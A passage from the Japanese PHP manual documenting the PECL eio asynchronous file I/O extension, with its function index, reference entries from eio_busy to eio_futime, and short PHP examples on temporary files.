eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_nop_cb", "nop data");
/* その他の eio_* コール ... */

// イベントフラグを設定します
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// イベントベースを設定します
event_base_set($event, $base);

// イベントを有効化します
event_add($event);

// イベントループを開始します
event_base_loop($base);

/* バッファつき libevent インターフェイスでも同様にできます */
?>

上の例の出力は、 たとえば以下のようになります。

int(3)
int(0)
string(8) "nop data"
int(0)
string(10) "mkdir data"

例6 eio と event 拡張モジュールを組み合わせる

<?php
$base = new EventBase();

// eio ポーリングストリームを取得します
// この変数は、イベントループの実行中ずっと有効でなければいけないことに注意しましょう
$eio_stream = eio_get_event_stream();

// eio ポーリングストリームをイベントループにバインドします
$poll_event = new Event($base, $eio_stream, Event::READ, function () {
  if (eio_nreqs()) {
    eio_poll();
  }
});
$poll_event->add();

// eio ジョブを追加します
eio_nop(EIO_PRI_DEFAULT, function () {
  echo "eio_nop\n";
});

// イベントを追加します
$timer = Event::timer($base, function () {
  echo "2 seconds elapsed\n";
});
$timer->add(2);

// イベントをディスパッチします
$base->dispatch();
?>

上の例の出力は、 たとえば以下のようになります。

eio_nop
2 seconds elapsed

User Contributed Notes

There are no user contributed notes for this page.


Eio 関数

目次

  • eio_busy — 人為的に負荷を高くする。テストやベンチマークなどで有用
  • eio_cancel — リクエストを取り消す
  • eio_chmod — ファイルやディレクトリのパーミッションを変更する
  • eio_chown — ファイルやディレクトリのオーナーを変更する
  • eio_close — ファイルを閉じる
  • eio_custom — eio_* のようなカスタムリクエストを実行する
  • eio_dup2 — ファイルディスクリプタを複製する
  • eio_event_loop — すべてのリクエストを処理し終えるまで libeio をポールする
  • eio_fallocate — 呼び出し元が、ファイルに割り当てられたディスク空間を直接操作できるようにする
  • eio_fchmod — ファイルのパーミッションを変更する
  • eio_fchown — ファイルのオーナーを変更する
  • eio_fdatasync — ファイルのコア内の情報をストレージデバイスに同期させる
  • eio_fstat — ファイルの状態を取得する
  • eio_fstatvfs — ファイルシステムの状態を取得する
  • eio_fsync — メモリ内でのファイルの状態をストレージデバイスに同期させる
  • eio_ftruncate — ファイルを切り詰める
  • eio_futime — ファイルの最終アクセス時刻と変更時刻を変更する
  • eio_get_event_stream — 内部での libeio との通信に使う変数を表すストリームを取得する
  • eio_get_last_error — リクエストリソースに関連づけられた直近のエラーの説明を文字列で返す
  • eio_grp_add — リクエストをリクエストグループに追加する
  • eio_grp_cancel — リクエストグループをキャンセルする
  • eio_grp_limit — グループリミットを設定する
  • eio_grp — リクエストグループを作る
  • eio_init — Eio を初期化する
  • eio_link — ファイルのハードリンクを作る
  • eio_lstat — ファイルの状態を取得する
  • eio_mkdir — ディレクトリを作る
  • eio_mknod — 特殊ファイルあるいは一般ファイルを作る
  • eio_nop — 何もせず、ただリクエストのサイクルを回す
  • eio_npending — 終了したけれども処理されなかったリクエストの数を返す
  • eio_nready — 未処理のリクエスト数を返す
  • eio_nreqs — 処理対象のリクエスト数を返す
  • eio_nthreads — 現在利用中のスレッド数を返す
  • eio_open — ファイルを開く
  • eio_poll — 未処理のリクエストがあるかどうかを調べる
  • eio_read — ファイルを、指定したオフセットから読み込む
  • eio_readahead — ファイルを先読みしてページキャッシュに格納する
  • eio_readdir — ディレクトリ全体を読み込む
  • eio_readlink — シンボリックリンクの値を読む
  • eio_realpath — 正規化された絶対パスを取得する
  • eio_rename — ファイル名や場所を変更する
  • eio_rmdir — ディレクトリを削除する
  • eio_seek — fd で指定したファイル内でのオフセットを、offset と whence に従って移動する
  • eio_sendfile — ファイルディスクリプタ間でデータを転送する
  • eio_set_max_idle — アイドルスレッドの最大数を設定する
  • eio_set_max_parallel — 最大の並列スレッド数を設定する
  • eio_set_max_poll_reqs — 一度のポールで行う最大のリクエスト回数を設定する
  • eio_set_max_poll_time — 最大のポール時間を設定する
  • eio_set_min_parallel — 最小の並列スレッド数を設定する
  • eio_stat — ファイルの状態を取得する
  • eio_statvfs — ファイルシステムの状態を取得する
  • eio_symlink — シンボリックリンクを作る
  • eio_sync_file_range — ファイルセグメントをディスクに同期する
  • eio_sync — バッファのキャッシュをディスクに書き込む
  • eio_syncfs — Linux の syncfs システムコールが使えれば、それを呼ぶ
  • eio_truncate — ファイルを切り詰める
  • eio_unlink — 名前を削除し、その名前で参照しているファイルも削除する
  • eio_utime — ファイルの最終アクセス時刻と変更時刻を変更する
  • eio_write — ファイルに書き込む

User Contributed Notes

There are no user contributed notes for this page.


人為的に負荷を高くする。テストやベンチマークなどで有用

  • ≪ Eio 関数
  • eio_cancel ≫
  • PHP Manual
  • Eio 関数
  • 人為的に負荷を高くする。テストやベンチマークなどで有用

eio_busy

(PECL eio >= 0.0.1dev)

eio_busy — 人為的に負荷を高くする。テストやベンチマークなどで有用

説明

eio_busy ( int $delay , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_busy() は人為的に負荷を高め、実行前に delay 秒待ちます。デバッグやベンチマークに使えるでしょう。

パラメータ

delay

待つ秒数。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

すべてのグループリクエストが終わったときに呼ばれるコールバック。

data

callback に渡す任意の引数。

返り値

eio_busy() は成功した場合にリクエストリソースを返します。エラー時には false を返します。

参考

  • eio_nop() - 何もせず、ただリクエストのサイクルを回す

User Contributed Notes

There are no user contributed notes for this page.


リクエストを取り消す

  • ≪ eio_busy
  • eio_chmod ≫
  • PHP Manual
  • Eio 関数
  • リクエストを取り消す

eio_cancel

(PECL eio >= 0.0.1dev)

eio_cancel — リクエストを取り消す

説明

eio_cancel ( resource $req ) : void

eio_cancel() は、 req で指定したリクエストを取り消します。

パラメータ

req

リクエストリソース。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

値を返しません。

例

例1 eio_cancel() の例

<?php
 /* eio_nop() が終わったら呼ばれます */
 function my_nop_cb($data, $result) {
  echo "my_nop ", $data, "\n";
 }

// この eio_nop() の呼び出しは取り消されます
$req = eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "1");
var_dump($req);
eio_cancel($req);

// この eio_nop() は処理されます
eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "2");

// リクエストを処理します
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

resource(4) of type (EIO Request Descriptor)
my_nop 2

参考

  • eio_grp_cancel() - リクエストグループをキャンセルする

User Contributed Notes

There are no user contributed notes for this page.


ファイルやディレクトリのパーミッションを変更する

  • ≪ eio_cancel
  • eio_chown ≫
  • PHP Manual
  • Eio 関数
  • ファイルやディレクトリのパーミッションを変更する

eio_chmod

(PECL eio >= 0.0.1dev)

eio_chmod — ファイルやディレクトリのパーミッションを変更する

説明

eio_chmod ( string $path , int $mode , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_chmod() は、ファイルやディレクトリのパーミッションを変更します。 新しいパーミッションを mode で指定します。

パラメータ

path

対象となるファイルやディレクトリのパス。

警告

相対パスを避けましょう

mode

新しいパーミッション。0644 など。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_chmod() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_chown() - ファイルやディレクトリのオーナーを変更する

User Contributed Notes

There are no user contributed notes for this page.


ファイルやディレクトリのオーナーを変更する

  • ≪ eio_chmod
  • eio_close ≫
  • PHP Manual
  • Eio 関数
  • ファイルやディレクトリのオーナーを変更する

eio_chown

(PECL eio >= 0.0.1dev)

eio_chown — ファイルやディレクトリのオーナーを変更する

説明

eio_chown ( string $path , int $uid , int $gid = -1 , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

ファイルやディレクトリのオーナーを変更します。

パラメータ

path

ファイルやディレクトリへのパス。

警告

相対パスを避けましょう

uid

ユーザー ID。-1 にすると無視されます。

gid

グループ ID。-1 にすると無視されます。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_chown() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_chmod() - ファイルやディレクトリのパーミッションを変更する

User Contributed Notes

There are no user contributed notes for this page.


ファイルを閉じる

  • ≪ eio_chown
  • eio_custom ≫
  • PHP Manual
  • Eio 関数
  • ファイルを閉じる

eio_close

(PECL eio >= 0.0.1dev)

eio_close — ファイルを閉じる

説明

eio_close ( mixed $fd , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_close() は、 fd で指定したファイルを閉じます。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_close() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_open() - ファイルを開く

User Contributed Notes

There are no user contributed notes for this page.


eio_* のようなカスタムリクエストを実行する

  • ≪ eio_close
  • eio_dup2 ≫
  • PHP Manual
  • Eio 関数
  • eio_* のようなカスタムリクエストを実行する

eio_custom

(PECL eio >= 0.0.1dev)

eio_custom — eio_* のようなカスタムリクエストを実行する

説明

eio_custom ( callable $execute , int $pri , callable $callback , mixed $data = NULL ) : resource

eio_custom() は、 execute で指定したカスタム関数を実行し、 その他の eio_* と同じように処理します。

パラメータ

execute

次のプロトタイプに沿ったリクエスト関数を指定します。

      mixed execute(mixed data);
callback はイベント完了後のコールバックで、次のプロトタイプに従う必要があります。
      void callback(mixed data, mixed result);
data は、 execute に data 引数経由で渡すデータです。 execute が返す result の値に手を加えません。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_custom() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

例

例1 eio_custom() の例

<?php
/* カスタムコールバック用のコールバック */
function my_custom_callback($data, $result) {
    var_dump($data);
    var_dump(count($result));
    var_dump($result['data_modified']);
    var_dump($result['result']);
}

/* カスタムリクエスト */
function my_custom($data) {
    var_dump($data);

    $result  = array(
        'result'        => 1001,
        'data_modified' => "my custom data",
    );

    return $result;
}

$data = "my_custom_data";
$req = eio_custom("my_custom", EIO_PRI_DEFAULT, "my_custom_callback", $data);
var_dump($req);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

resource(4) of type (EIO Request Descriptor)
string(14) "my_custom_data"
string(14) "my_custom_data"
int(2)
string(14) "my custom data"
int(1001)

User Contributed Notes

There are no user contributed notes for this page.


ファイルディスクリプタを複製する

  • ≪ eio_custom
  • eio_event_loop ≫
  • PHP Manual
  • Eio 関数
  • ファイルディスクリプタを複製する

eio_dup2

(PECL eio >= 0.0.1dev)

eio_dup2 — ファイルディスクリプタを複製する

説明

eio_dup2 ( mixed $fd , mixed $fd2 , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_dup2() は、ファイルディスクリプタを複製します。

パラメータ

fd

複製元のストリーム、ソケットリソース、あるいはファイルディスクリプタ。

fd2

複製先のストリーム、ソケットリソース、あるいはファイルディスクリプタ。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_dup2() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


すべてのリクエストを処理し終えるまで libeio をポールする

  • ≪ eio_dup2
  • eio_fallocate ≫
  • PHP Manual
  • Eio 関数
  • すべてのリクエストを処理し終えるまで libeio をポールする

eio_event_loop

(PECL eio >= 0.0.1dev)

eio_event_loop — すべてのリクエストを処理し終えるまで libeio をポールする

説明

eio_event_loop ( ) : bool

eio_event_loop() は、すべてのリクエストを処理し終えるまで libeio をポールします。

パラメータ

この関数にはパラメータはありません。

返り値

eio_event_loop() は、成功した場合に true を返します。エラー時に false を返します。

例

例1 eio_event_loop() の例

<?php
$temp_filename = "eio-temp-file.tmp";
touch($temp_filename);

/* eio_chmod() が終了したときに呼ばれます */
function my_chmod_callback($data, $result) {
    global $temp_filename;

    if ($result == 0 && !is_readable($temp_filename) && is_writable($temp_filename)) {
        echo "eio_chmod_ok";
    }

    @unlink($temp_filename);
}

eio_chmod($temp_filename, 0200, EIO_PRI_DEFAULT, "my_chmod_callback");
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

eio_chmod_ok

参考

  • eio_poll() - 未処理のリクエストがあるかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


呼び出し元が、ファイルに割り当てられたディスク空間を直接操作できるようにする

  • ≪ eio_event_loop
  • eio_fchmod ≫
  • PHP Manual
  • Eio 関数
  • 呼び出し元が、ファイルに割り当てられたディスク空間を直接操作できるようにする

eio_fallocate

(PECL eio >= 0.0.1dev)

eio_fallocate — 呼び出し元が、ファイルに割り当てられたディスク空間を直接操作できるようにする

説明

eio_fallocate ( mixed $fd , int $mode , int $offset , int $length , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_fallocate() 呼び出し元が、ファイルに割り当てられたディスク空間を直接操作できるようにします。 ファイルの指定はファイルディスクリプタ fd で行い、 バイト幅の指定は開始位置 offset とそこからの長さ length で行います。

注意: 書き込みモードでのオープンが必須

EIO_O_CREAT を EIO_O_WRONLY あるいは EIO_O_RDWR と論理 OR しなければいけません。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ (たとえば eio_open() が返すもの)。

mode

現在サポートするフラグは EIO_FALLOC_FL_KEEP_SIZE (POSIX の定数 FALLOC_FL_KEEP_SIZE と同じ意味) だけです。

offset

バイト幅の開始位置。

length

バイト幅の長さ。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_fallocate() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルのパーミッションを変更する

  • ≪ eio_fallocate
  • eio_fchown ≫
  • PHP Manual
  • Eio 関数
  • ファイルのパーミッションを変更する

eio_fchmod

(PECL eio >= 0.0.1dev)

eio_fchmod — ファイルのパーミッションを変更する

説明

eio_fchmod ( mixed $fd , int $mode , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_fchmod() は、 ファイルディスクリプタ fd で指定したファイルやディレクトリのパーミッションを変更します。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ (eio_open() が返すものなど)。

mode

新しいパーミッション。例: 0644

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_fchmod() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_fchown() - ファイルのオーナーを変更する

User Contributed Notes

There are no user contributed notes for this page.


ファイルのオーナーを変更する

  • ≪ eio_fchmod
  • eio_fdatasync ≫
  • PHP Manual
  • Eio 関数
  • ファイルのオーナーを変更する

eio_fchown

(PECL eio >= 0.0.1dev)

eio_fchown — ファイルのオーナーを変更する

説明

eio_fchown ( mixed $fd , int $uid , int $gid = -1 , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_fchown() は、 ファイルディスクリプタ fd で指定したファイルやディレクトリのオーナーを変更します。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ。

uid

ユーザー ID。-1 にすると無視されます。

gid

グループ ID。-1 にすると無視されます。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

参考

  • eio_fchmod() - ファイルのパーミッションを変更する

User Contributed Notes

There are no user contributed notes for this page.


ファイルのコア内の情報をストレージデバイスに同期させる

  • ≪ eio_fchown
  • eio_fstat ≫
  • PHP Manual
  • Eio 関数
  • ファイルのコア内の情報をストレージデバイスに同期させる

eio_fdatasync

(PECL eio >= 0.0.1dev)

eio_fdatasync — ファイルのコア内の情報をストレージデバイスに同期させる

説明

eio_fdatasync ( mixed $fd , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_fdatasync() は、ファイルのコア内の情報をストレージデバイスに同期させます。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ (eio_open() が返すものなど)。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_fdatasync() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルの状態を取得する

  • ≪ eio_fdatasync
  • eio_fstatvfs ≫
  • PHP Manual
  • Eio 関数
  • ファイルの状態を取得する

eio_fstat

(PECL eio >= 0.0.1dev)

eio_fstat — ファイルの状態を取得する

説明

eio_fstat ( mixed $fd , int $pri , callable $callback , mixed $data = ? ) : resource

eio_fstat() は、 callback の result 引数でファイルの状態を返します。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_busy() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

例

例1 eio_lstat() の例

<?php
// 一時ファイルを作ります
$tmp_filename = dirname(__FILE__) ."/eio-file.tmp";
touch($tmp_filename);

/* eio_fstat() が終わったら呼ばれます */
function my_res_cb($data, $result) {
 // 状態を配列で出力します
 var_dump($result);

 if ($data['fd']) {
  // 一時ファイルを閉じます
  eio_close($data['fd']);
  eio_event_loop();
 }
 // 一時ファイルを削除します
 @unlink($data['file']);
}

/* eio_open() が終わったら呼ばれます */
function my_open_cb($data, $result) {
 // コールバック用のデータを用意します
 $d = array(
  'fd'  => $result,
  'file'=> $data
 );
 // 状態を取得します
 eio_fstat($result, EIO_PRI_DEFAULT, "my_res_cb", $d);
 // リクエストを処理します
 eio_event_loop();
}

// 一時ファイルを開きます
eio_open($tmp_filename, EIO_O_RDONLY, NULL, EIO_PRI_DEFAULT,
  "my_open_cb", $tmp_filename);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

array(12) {
 ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2489159)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318239506)
  ["st_mtime"]=>
  int(1318239506)
  ["st_ctime"]=>
  int(1318239506)
}

参考

  • eio_lstat() - ファイルの状態を取得する
  • eio_stat() - ファイルの状態を取得する

User Contributed Notes

There are no user contributed notes for this page.


ファイルシステムの状態を取得する

  • ≪ eio_fstat
  • eio_fsync ≫
  • PHP Manual
  • Eio 関数
  • ファイルシステムの状態を取得する

eio_fstatvfs

(PECL eio >= 0.0.1dev)

eio_fstatvfs — ファイルシステムの状態を取得する

説明

eio_fstatvfs ( mixed $fd , int $pri , callable $callback , mixed $data = ? ) : resource

eio_fstatvfs() は、ファイルシステムの状態を callback の result で返します。

パラメータ

fd

マウントされたファイルシステム内のファイルのディスクリプタ。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_fstatvfs() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_statvfs() - ファイルシステムの状態を取得する

User Contributed Notes

There are no user contributed notes for this page.


メモリ内でのファイルの状態をストレージデバイスに同期させる

  • ≪ eio_fstatvfs
  • eio_ftruncate ≫
  • PHP Manual
  • Eio 関数
  • メモリ内でのファイルの状態をストレージデバイスに同期させる

eio_fsync

(PECL eio >= 0.0.1dev)

eio_fsync — メモリ内でのファイルの状態をストレージデバイスに同期させる

説明

eio_fsync ( mixed $fd , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

メモリ内でのファイルの状態をストレージデバイスに同期させます。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_fsync() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_sync() - バッファのキャッシュをディスクに書き込む

User Contributed Notes

There are no user contributed notes for this page.


ファイルを切り詰める

  • ≪ eio_fsync
  • eio_futime ≫
  • PHP Manual
  • Eio 関数
  • ファイルを切り詰める

eio_ftruncate

(PECL eio >= 0.0.1dev)

eio_ftruncate — ファイルを切り詰める

説明

eio_ftruncate ( mixed $fd , int $offset = 0 , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_ftruncate() は、ファイルディスクリプタ fd で指定したファイルを切り詰めて、ちょうど length バイトにします。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ。

offset

ファイルの先頭からのオフセット。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_ftruncate() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_truncate() - ファイルを切り詰める

User Contributed Notes

There are no user contributed notes for this page.


ファイルの最終アクセス時刻と変更時刻を変更する

  • ≪ eio_ftruncate
  • eio_get_event_stream ≫
  • PHP Manual
  • Eio 関数
  • ファイルの最終アクセス時刻と変更時刻を変更する

eio_futime

(PECL eio >= 0.0.1dev)

eio_futime — ファイルの最終アクセス時刻と変更時刻を変更する

説明

eio_futime ( mixed $fd , float $atime , float $mtime , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_futime() は、ファイルの最終アクセス時刻と変更時刻を変更します。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ (eio_open() が返すものなど)。

atime

アクセス時刻。

mtime

変更時刻。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_futime() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_utime() - ファイルの最終アクセス時刻と変更時刻を変更する

User Contributed Notes

There are no user contributed notes for this page.


内部での libeio との通信に使う変数を表すストリームを取得する

  • ≪ eio_futime
  • eio_get_last_error ≫
  • PHP Manual
  • Eio 関数
  • 内部での libeio との通信に使う変数を表すストリームを取得する

eio_get_event_stream

